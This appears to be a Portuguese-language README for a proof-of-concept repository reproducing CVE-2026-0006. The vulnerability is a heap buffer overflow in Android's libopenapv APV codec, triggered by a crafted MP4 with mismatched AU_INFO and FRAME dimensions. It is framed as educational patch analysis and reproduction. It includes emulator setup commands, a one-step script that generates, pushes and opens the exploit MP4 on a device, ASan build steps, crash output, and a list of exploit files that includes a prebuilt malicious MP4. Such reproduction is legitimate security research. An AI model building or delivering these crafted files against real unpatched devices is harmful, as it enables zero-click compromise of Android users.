
CVE-2026-0006: PoC de estouro de buffer de heap para libopenapv (codec APV do Android) - CVSS 9.8
CVSS 9.8 Crítico | Explorado ativamente na natureza | Corrigido em março de 2026
Nota: Não descobrimos esta vulnerabilidade. Todo o crédito pela descoberta e relato responsável do CVE-2026-0006 vai para os pesquisadores originais. Este repositório contém nossa análise de patch, reprodução e relatório educacional independentes para ajudar a comunidade de segurança a entender a classe de bug e as técnicas de exploração envolvidas.

CVE-2026-0006 é um estouro de buffer no heap em libopenapv, o codec APV (Advanced Professional Video) de código aberto da Samsung integrado ao Android 16 como um módulo Mainline.
A vulnerabilidade permite execução remota de código sem clique por meio de um arquivo MP4 manipulado. O framework de mídia do Android processa arquivos de vídeo automaticamente para miniaturas e pré-visualizações — sem necessidade de interação do usuário.
oapvd_info() e oapvd_decode() leem dimensões de quadro de PBUs diferentes (Payload Byte Units). Um atacante injeta uma PBU AU_INFO (tipo 65) que declara dimensões pequenas (16x16), enquanto a PBU FRAME real codifica dimensões grandes (64x64). O framework aloca buffers com base na saída de oapvd_info(), então oapvd_decode() escreve pixels decodificados nas dimensões da PBU FRAME — estourando o buffer em 14.848 bytes.
Você precisa de um emulador Android 16 com nível de patch de segurança anterior a março de 2026 (o decodificador APV não está presente em versões antigas do Android).
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"
# Create the AVD
avdmanager create avd \
-n android16_apv \
-k "system-images;android-36.1;google_apis;arm64-v8a" \
-d pixel_6
# Launch the emulator
emulator -avd android16_apv -no-snapshot-load
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so
# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch
Se o patch de segurança for 2026-03-01 ou posterior, a vulnerabilidade foi corrigida e o exploit não funcionará. Use uma imagem de sistema ou snapshot anterior.
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh
Isso gera o MP4 de exploit, envia para o dispositivo, abre e captura a saída da falha. A falha pode não ser acionada na primeira tentativa — o script tenta novamente automaticamente até 3 vezes.
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so
# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
-DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
-I../inc -I./include \
poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan
# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
ASAN_OPTIONS=detect_leaks=0 \
/data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0
0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)
fb6a5eab): validação de ssize > 4 e verificação de assinatura 'aPv1'oapv_param.c para validação de dimensão/tamanho de tileEsta vulnerabilidade foi descoberta e relatada de forma responsável pelos pesquisadores de segurança originais. Não encontramos este CVE. Todo o crédito pela descoberta vai para eles.
Este repositório representa a análise de patch e reprodução independente do Mobile Hacking Lab — criado para fins educacionais para ajudar a comunidade de segurança a aprender com vulnerabilidades do mundo real.
Esta pesquisa foi conduzida para fins educacionais em compilações de teste isoladas da biblioteca vulnerável. Todos os testes foram realizados contra binários compilados localmente do projeto de código aberto libopenapv. Nenhum dispositivo ou sistema de produção foi alvo.
| Arquivo | Descrição |
|---|
generate_overflow_mp4.py | Gera o MP4 de exploit com incompatibilidade de dimensão AU_INFO |
deploy_exploit_mp4.sh | Único comando: gera, envia para o dispositivo Android, abre e captura a falha |
poc_mp4_asan.c | PoC do ASan imitando o caminho de decodificação do C2SoftApvDec |
poc_android_oob_write.c | PoC ARM64 independente com detecção de estouro de região de guarda |
valid.apv | Bitstream APV válido de 337 bytes (64x64, YUV422, 10 bits) |
apv-mp4/valid_ffmpeg.mp4 | Contêiner MP4 de linha de base (gerado pelo ffmpeg) |
apv-mp4/overflow_auinfo.mp4 | MP4 de exploit pré-construído (1.178 bytes) |